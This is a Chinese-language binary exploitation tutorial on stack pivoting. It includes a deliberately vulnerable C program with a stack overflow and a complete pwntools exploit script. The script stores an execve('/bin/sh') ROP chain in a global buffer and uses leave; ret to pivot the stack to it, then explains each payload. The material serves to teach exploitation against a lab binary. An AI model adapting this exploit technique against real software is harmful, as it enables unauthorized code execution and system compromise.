在binary Exploitation中,ROP是常見的攻擊手法,但是許多程式在設計上並不會提供足夠的stack buffer讓攻擊者可以放下整條ROP chain
當我們需要更大的空間來構造複雜的ROP chain時,就需要用到 Stack Pivoting堆疊轉向技巧
這個技巧能將程式的stack pointer(esp/rsp)指向一塊攻擊者可控的記憶體區域,例如.bss、heap或mmap出來的chunk,讓我們能在該區域自由構造ROP chain。
Stack Pivoting的核心概念是:把stack pointer移動到攻擊者可控的地方
舉例來說:
如果在一個地方只能overflow 16 bytes,換句話說就是只能蓋到return address,也就意味著我們無法往更後面塞ROP gadget
那我們這時候就可以把我們的ROP chain塞在一個空間足夠大的bss
假如這裡為0x601090,真正ROP chain開始的地方是0x601098
那我們這時候就可以做mov rsp, rbp; pop rbp; ret,那這個時候的rbp就會是我們塞好的值ROP chain - 8的地方(0x601090),接下來就會return,他吃到的是第一個gadget,接著就會再做一次leave ret(會被放在return address),同理會再做一次mov rsp, rbp; pop rbp; ret,這樣我們就可以間接的控制rsp的值,讓rsp的值也指向ROP chain - 8的地方,最後pop rbp,rbp就會指向0xdeadbeef
chal.c
#include <stdio.h>
#include <stdlib.h>
char username[0x100];
int main() {
char password[0x10];
puts("enter your username:");
read(0, username, 0x100);
puts("enter your password:");
read(0, password, 0x20);
return 0;
}
makefile:
chal: chal.c
gcc chal.c -o chal -fno-stack-protector -no-pie -static
objdump -d binary
得知username的位址為0x4abb20
因為username是global variable,所以我們可以向他寫入東西(.data),我們這裡寫入會ROP chain
objdump -h binary
得知bss段
接著再去找平常ROP會用到的gadget就可以串成以下ROP chain
我們除了一些平常ROP常用的gadget以外還有一個最重要的就是leave ; ret
接下來我們用gdb去查看這個binary的main結構,可以發現在0x00000000004018fd的時候,我輸入的值是從rbp-0x10開始算的,也就代表說如果我們剛好可以蓋到這個return address
有了以上資訊,我們可以寫出以下exp
exp.py:
from pwn import *
context.arch = 'amd64'
r = process('./chal')
pop_rsi_rbp = 0x404e62
pop_rdi_rbp = 0x4020d8
pop_rax = 0x42116b
username = 0x4abb20
leave_ret = 0x40191d
mov_rsi_rax = 0x420545
pop_rdx = 0x424dd2
syscall = 0x4012d3
bss = 0x4abac0
payload1 = flat(pop_rsi_rbp, bss, 0, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rax, 0x3b, pop_rdi_rbp, bss, 0, pop_rsi_rbp, 0, 0, pop_rdx, 0, syscall)
rop = b'a' * 8 + payload1
r.sendlineafter(b':', rop)
payload2 = b'a' * 16 + p64(username) + p64(leave_ret) # 我們要在 return 的時候再做一次leave ret,這樣就可以讓rsp的值也指向ROP chain - 8的地方
r.sendlineafter(b':', payload2)
r.interactive()
Pwned!
如果看不懂payload1跟payload2的:
payload1 = flat(
pop_rsi_rbp, bss, 0,
pop_rax, b'/bin/sh\x00',
mov_rsi_rax,
pop_rax, 0x3b,
pop_rdi_rbp, bss, 0,
pop_rsi_rbp, 0, 0,
pop_rdx, 0,
syscall
)
這串是一個串好的rop chain,我們會把這個丟進空間足夠大的username先暫存
像我們前面所講到的,ROP chain - 8 的位置放一個隨便放八個bytes
payload2 = b'a' * 16 + p64(username) + p64(leave_ret)
這裡是我們先填入16個bytes (填滿local variable,因為password大小為0x10),這樣我們後面就可以control rbp跟rsp
我們把rbp pivot stack到username的地址,return address覆蓋為leave ; ret
這樣我們執行leave ; ret之後,rsp就會指向username,開始執行第一個payload